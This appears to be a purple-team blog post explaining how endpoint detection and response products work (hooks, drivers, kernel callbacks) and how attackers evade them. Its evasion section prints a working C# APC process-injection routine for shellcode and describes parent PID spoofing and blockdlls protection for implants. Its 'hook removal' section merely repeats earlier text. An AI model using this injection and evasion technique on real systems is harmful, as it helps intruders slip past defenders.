A Purple Team's Guide to Endpoint Detection and Response

A Purple Team's Guide to Endpoint Detection and Response

One of the newest toys that major corporations are deploying in their networks are EDRs. But what is an EDR?

·

9 min read

One of the newest toys that major corporations are deploying in their networks are EDRs. But what is an EDR? For that we can refer to Crowdstrike’s What is Endpoint Detection and Response (EDR):

Endpoint Detection and Response (EDR), also referred to as endpoint detection and threat response (EDTR), is an endpoint security solution that continuously monitors end-user devices to detect and respond to cyber threats like ransomware and malware.

EDRs represent a shift in security for large organizations, threats are not monitored through signatures but by a set of behaviours that are commonly attributed to intrusion attempts.

This post will go over how EDRs work, and how you can choose the right one for your business (for the blue guys in the audience) or how can you circumvent them (for the red guys in the audience).

How do they work (on a high level)

Differing from regular SIEM or AV solutions, EDRs forward telemetry from the agent to the cloud where it's run through various sandboxes and its behaviour can be further analysed by machine and human operators.

content_1659037247494.png

These tools are necessary for large corporations and organizations as they regularly face threats that are novel in nature crafted by advanced threat actors (you wouldn’t be hacking Google with metasploit shells).

How do you evaluate an EDRs performance

Looking at EDRs from a purchasing perspective, there are a few methods of determining effectiveness. Some EDR vendors do not necessarily provide more functionality than regular antivirus. There is alot of marketing that goes into EDR products, so ensuring that you read the fine print and purchase the right solution is crucial.

The effectiveness of EDR solutions rely on implementing the methods we will discuss here such as custom-written kernel callbacks and hooking, being able to quickly implement new Windows features, and the ability to customize your deployment.

Another metric that EDR Vendors tend to use is the MITRE Enginuity ATT&CK Evaluations program.

The MITRE Engenuity ATT&CK® Evaluations (Evals) program brings together product and service providers with MITRE experts to collaborate in evaluating security solutions. The Evals process applies a systematic methodology using a threat-informed purple teaming approach to capture critical context around a solution’s ability to detect or protect against known adversary behavior as defined by the ATT&CK knowledge base. Results from each evaluation are thoroughly documented and openly published.

For example, Crowdstrike’s EDR solution can be seen here and the overview goes into APT (Advanced Persistent Threat) scenarios and marks whether or not the EDR detected the attack.

Another metric that’s a point of pride for EDR platforms is the Gartner Magic Quadrant for Endpoint Protection Platforms, which leads the current leaders of the industry.

content_1659037274693.png

How do they work (on a low level)

In the protection ring model, the privilege rings in x86 platforms (we know that ARM is a thing, but this is out of scope as of now) are as follows.

content_1659037289433.png

Most user activities are in Ring 3 and Kernels are in Ring 0 .

Ring 0 has full access to every resource, it is the mode in which the Windows kernel runs (your drivers and low level OS functions are here). Rings 1 and 2 can be customized with levels of access but are generally unused unless there are virtual machines running (Think HyperV, docker containers, minikube, all of that fun nerdy stuff). Ring 3 has restricted access to resources, this is where your spreadsheet applications and games run (unless you play Genshin Impact with it’s Ring 0 kernel level anti-cheat, you do you).

Userland Level API Calls

Windows system processes contact the Windows kernel through specific systems and APIs, which then will interact to the low level hardware. Applications that use the WinAPI will traverse through to the Native API (NTAPI) which operates within Kernel Mode.

content_1659037312849.png

Drivers

content_1659073617660.png After contacting the kernel, the call gets forwarded to the driver. A driver is a software component of Windows which allows the operating system and device to communicate with each other. In the context of EDRs, drivers are useful as they have access to privileged information from Event Tracing for Windows (ETW) which is only accessible with an Early Launch AntiMalware (ELAM) Driver.

Userland Hooks

Another common feature of EDR's are the Userland Hooking DLLs. These hooks are loaded into a process on creation and are used to proxy WinAPI Calls through themselves to assess the usage, then redirect onto whichever DLL is being used. A hook allows for function instrumentation by intercepting WinAPI calls, by placing a jmp instruction in place of the function address. This jmp will redirect the flow of a call.

The DLL will overwrite the functions of interest and divert execution to a custom procedure that will inspect arguments and eventually restore execution to the original function.

content_1659074710993.png

Kernel Callbacks

Kernel callbacks are methods for drivers to get notifications from certain system events. Endpoint Security solutions like EDRs and others like Sysmon, Procmon, Process Explorer, etc, all make use of kernel callbacks. One of the interesting callback routines would be PsSetCreateProcessNotifyRoutineEx which registers or removes a callback routine that notifies the caller when a process is created or exits. While this is only one of many Kernel Callback Functions we can utilize to evade EDR detection, it represents the most commonly used one.

We can find its definition in the ntddk.h header file.

NTKERNELAPI
NTSTATUS
PsSetCreateProcessNotifyRoutineEx (
    _In_ PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
    _In_ BOOLEAN Remove
    );

The first parameter is a pointer to the PCREATE_PROCESS_NOTIFY_ROUTINE_EX routine to register or remove. The operating system calls this routine whenever a new process is created.

Below is a snippet that shows how the routine sCreateProcessNotifyRoutineEx (line 3) gets registered for new process notifications on line 19. Processes with commandline containing notepad in them will be killed by setting the createInfo.reationStatus member to STATUS_ACCESS_DENIED

// handle incoming notifications about new/terminated processes and kill
// processes that have "notepad" in their commandline arguments
void sCreateProcessNotifyRoutineEx(PEPROCESS process, HANDLE pid, PPS_CREATE_NOTIFY_INFO createInfo)
{
UNREFERENCED_PARAMETER(process);
UNREFERENCED_PARAMETER(pid);
if (createInfo != NULL)
{
    if (wcsstr(createInfo->CommandLine->Buffer, L"notepad") != NULL)
    {
        DbgPrint("[!] Access to launch notepad.exe was denied!");
        createInfo->CreationStatus = STATUS_ACCESS_DENIED;
    }
}

// subscribe sCreateProcessNotifyRoutineEx to new / terminated process notifications
PsSetCreateProcessNotifyRoutineEx(sCreateProcessNotifyRoutineEx, FALSE);

How do i evade EDRs?

For a threat actor to successfully pass the protection of an EDR suite, it has to achieve multiple goals such as bypassing static analysis, emulation & sandboxing, runtime monitoring & behavioral analysis, and finally to egress from the network. There are several common techniques to achieve this.

Process Injection

Process injection is a category of attacks aimed at injecting a shellcode into either the local process or a remote process. Many C2s allow threat actors to generate shellcode that can be injected with a variety of methods. This has been achieved through a few tactics

  • .NET injectors delivered via HTA/JS/VBS such as GadgetToJScript, a framework that allows execution of .NET assemblies using WSH
    string processPath = @"path to some process";
    STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO();
    STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION();
    var shellcode = sc;
    IntPtr pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "CreateProcessA");
    DELEGATES.CreateProcess CreateProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess;
    bool success = CreateProcess(processPath, null, IntPtr.Zero, IntPtr.Zero, false, STRUCTS.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
    pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "VirtualAllocEx");
    DELEGATES.VirtualAllocEx virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx;
    IntPtr alloc = virtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
    pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
    DELEGATES.WriteProcessMemory writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory;
    writeProcessMemory(pi.hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten);
    pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "OpenThread");
    DELEGATES.OpenThread openThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.OpenThread)) as DELEGATES.OpenThread;
    IntPtr tpointer = openThread(STRUCTS.ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId);
    uint oldProtect = 0;
    pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
    DELEGATES.VirtualProtectEx virtualProtectEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx;
    virtualProtectEx(pi.hProcess, alloc, shellcode.Length, 0x20, out oldProtect);
    pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "QueueUserAPC");
    DELEGATES.QueueUserAPC queueUserAPC = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC;
    queueUserAPC(alloc, tpointer, IntPtr.Zero);
    pointer = TinySharpSploit.GetLibraryAddress("kernel32.dll", "ResumeThread");
    DELEGATES.ResumeThread resumeThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread;
    resumeThread(pi.hThread);
    
  • VBA Macros, which was used by the Lazarus Group (an APT linked to North Korean state sponsored cyberattacks) content_1659075322709.png

Anti Sandboxing

Some AV/EDRs will attempt to run a sample in an emulated environment to determine if it’s malicious or not. However, emulators have the limitation of not being able to fully reproduce a complete OS due to it being performance intensive. content_1659075452075.png XPN’s research Protecting Your Malware with blockdlls and ACG showed how to implement process mitigation policies to prevent EDRs from performing certain actions against an implant during sandboxing PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON allows only DLLs signed by Microsoft to be loaded into the process memory, if used correctly it can decrease the chances of detection from DLL instrumentation by limiting access to just the initial execution vector (such as Microsoft Edge). PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ONprevents allocation of RWX pages which is sometimes used to set up hooks, allowing for the protection of spawned implants.

Parent PID Spoofing

content_1659075849156.png EDRs use parent-child relationships to uncover anomalous interactions. If a malicious payload is delivered using a Word document to create a PowerShell session and PowerShell becomes the child process of winword.exe an EDR would detect that this is not normal behavior of Word.

To evade detection by the defense mechanisms, a payload can be created with a different parent PID of a parent process that usually spawns. Using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute of CreateProcess Win32 API call, the process may get the access token of the parent process. If the parent has a SYSTEM access token, the malicious process gets the same access token as well.

Userland Hook Removal

Another common feature of EDR's are the Userland Hooking DLLs. These hooks are loaded into a process on creation and are used to proxy WinAPI Calls through themselves to assess the usage, then redirect onto whichever DLL is being used. A hook allows for function instrumentation by intercepting WinAPI calls, by placing a jmp instruction in place of the function address. This jmp will redirect the flow of a call.

The DLL will overwrite the functions of interest and divert execution to a custom procedure that will inspect arguments and eventually restore execution to the original function. content_1659076024107.webp

Conclusion

We tried to provide clarity into how EDRs work to not only identify and prevent malicious activity at a low level without getting too technical. We've also discussed common pitfalls that EDRs have as they are not the high-tech one-stop solutions that the sales guy promised you. In the end, this article only offers a glimpse of how EDRs work. Different vendors offer different capabilities and adds their own special sauce to the mix, and it would be impossible to fit them all here do to word constraints (and the possible lawsuits i can get from disclosing company information).

While its true that EDRs can be bypassed, the methods are so complex that most of these circumvention attempts are done by APTs and even then they are still logged for future reference. No system is bulletproof, but an EDR offers great resistance to advanced threat actors going against organizations with mature cybersecurity practices.